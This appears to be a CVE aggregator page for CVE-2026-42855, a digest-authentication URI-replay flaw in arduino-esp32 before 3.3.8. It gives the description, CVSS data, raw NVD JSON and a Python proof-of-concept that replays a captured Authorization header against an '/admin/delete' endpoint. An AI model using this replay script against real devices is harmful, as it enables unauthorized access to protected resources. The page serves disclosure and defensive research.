Security Vulnerability Report
中文
CVE-2026-42855 CVSS 7.5 HIGH

CVE-2026-42855

Published: 2026-05-12 22:16:35
Last Modified: 2026-05-13 16:08:18

Description

arduino-esp32 is an Arduino core for the ESP32, ESP32-S2, ESP32-S3, ESP32-C3, ESP32-C6 and ESP32-H2 microcontrollers. Prior to 3.3.8, the WebServer Digest authentication implementation in arduino-esp32 computes the authentication hash using the URI field from the client's Authorization header, without verifying that it matches the actual requested URI. This allows an attacker who possesses any valid digest response (computed for URI-A) to authenticate requests to a completely different protected URI (URI-B), bypassing per-resource access control. This vulnerability is fixed in 3.3.8.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

arduino-esp32 < 3.3.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_base = "http://192.168.1.100" accessible_uri = "/public/status" # URI the attacker can access protected_uri = "/admin/delete" # URI the attacker wants to access username = "admin" password = "password" # Step 1: Obtain a valid Authorization header for the accessible URI # The server generates the hash based on the 'accessible_uri' session = requests.Session() session.auth = requests.auth.HTTPDigestAuth(username, password) response = session.get(f"{target_base}{accessible_uri}") # Extract the valid Authorization header valid_auth_header = response.request.headers['Authorization'] print(f"[+] Captured Auth header for {accessible_uri}: {valid_auth_header}") # Step 2: Replay the header to access the protected URI # The vulnerability allows using the hash for 'accessible_uri' to access 'protected_uri' exploit_headers = { "Authorization": valid_auth_header } # Send request to the protected resource using the captured header exploit_response = requests.get(f"{target_base}{protected_uri}", headers=exploit_headers) if exploit_response.status_code == 200: print(f"[+] Exploit successful! Accessed {protected_uri}") print(f"[+] Response: {exploit_response.text}") else: print(f"[-] Exploit failed. Status code: {exploit_response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42855", "sourceIdentifier": "[email protected]", "published": "2026-05-12T22:16:35.067", "lastModified": "2026-05-13T16:08:17.590", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "arduino-esp32 is an Arduino core for the ESP32, ESP32-S2, ESP32-S3, ESP32-C3, ESP32-C6 and ESP32-H2 microcontrollers. Prior to 3.3.8, the WebServer Digest authentication implementation in arduino-esp32 computes the authentication hash using the URI field from the client's Authorization header, without verifying that it matches the actual requested URI. This allows an attacker who possesses any valid digest response (computed for URI-A) to authenticate requests to a completely different protected URI (URI-B), bypassing per-resource access control. This vulnerability is fixed in 3.3.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}], "references": [{"url": "https://github.com/espressif/arduino-esp32/security/advisories/GHSA-28hv-fwm3-rpcq", "source": "[email protected]"}]}}